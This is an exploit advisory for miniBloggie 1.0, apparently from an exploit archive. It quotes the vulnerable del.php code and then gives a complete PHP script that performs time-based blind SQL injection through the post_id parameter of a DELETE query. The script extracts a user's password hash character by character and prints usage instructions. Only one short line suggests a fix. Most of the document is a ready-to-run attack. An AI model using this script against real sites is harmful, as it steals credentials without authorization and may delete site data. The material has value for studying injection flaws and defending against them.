miniBloggie 1.0 (del.php) Remote Blind SQL Injection Exploit

Advisory Content :

#!/usr/bin/php
<?php

error_reporting(0);

/*
miniBloggie 1.0 (del.php) Remote Blind SQL Injection Exploit
------------------------------------------------------------
Author -> StAkeR aka athos - StAkeR[at]hotmail[dot]it
Date -> 18/10/2008
Get -> http://www.mywebland.com/dl.php?id=2
------------------------------------------------------------

File del.php

25. if (isset($_GET['post_id'])) $post_id = $_GET['post_id'];
26. if (isset($_GET['confirm'])) $confirm = $_GET['confirm'];
27.
28. if ($confirm=="") {
29. notice("Confirmation", "Warning : Do you want to delete this post ?
<a href=del.php?post_id=".$post_id."&confirm=yes>Yes</a>");
30. }
31. elseif ($confirm=="yes") {
32. // Data Base Connection //
33. dbConnect();
34. $sql = "DELETE FROM blogdata WHERE post_id=$post_id";
35. $query = mysql_query($sql) or die("Cannot query the database.<br>" .
mysql_error());
36. $confirm ="";
37. notice("Del Post", "Data Deleted");
38. }
39. else notice( "Delete Error, Unable to complete the task !" );
40. ?>

NOTE:

$sql = "DELETE FROM blogdata WHERE post_id=$post_id";

$post_id isn't escaped so you can execute SQL Code

How to fix? sanize $post_id with intval or int (PHP Functions)

*/

function get($host,$path,$evil)
{
if(!preg_match('/\w:[0-9]/i',$host)) alert();
$inet = explode(':',$host);

if(!$sock = fsockopen($inet[0],$inet[1])) die('connection refused');

$data .= "GET /$path/del.php?post_id={$evil}&confirm=yes HTTP/1.1\r\n";
$data .= "Host: $host[0]\r\n";
$data .= "User-Agent: Lynx (textmode)\r\n";
$data .= "Connection: close\r\n\r\n";

fputs($sock,$data);

while(!feof($sock)) { $html .= fgets($sock); }
fclose($sock);

return $html;
}

function alert()
{
echo "# miniBloggie 1.0 (del.php) Remote Blind SQL Injection
Exploit\r\n";
echo "# Usage: php {$argv[0]} [host:port] [path] [user_id]\r\n";
echo "# Usage: php {$argv[0]} localhost:80 /minibloggie 1\r\n";
die;
}

function charme($char,$colum,$id)
{
$sql = "1 or (select if((ascii(substring(password".
",$colum,1))=$char),benchmark(200000000,char(0)),0)".
" from blogusername where id=$id)#";

return urlencode($sql);
}

$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$c = 0;

for($i=0;$i<=32;$i++)
{
for($j=0;$j<=17;$j++)
{
$start = time();

get($argv[1],$argv[2],charme($hash[$j],$c,intval($argv[3])));

$stop = time();

if($stop - $start > 12)
{
$password .= chr($hash[$j]);
$c++;;
break;
}
}
}

if(isset($password))
{
echo "# Hash: $password\r\n";
die;
}
else
{
echo "# Exploit Failed!\r\n";
}

?>

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miniBloggie 1.0 (del.php) Remote Blind SQL Injection Exploit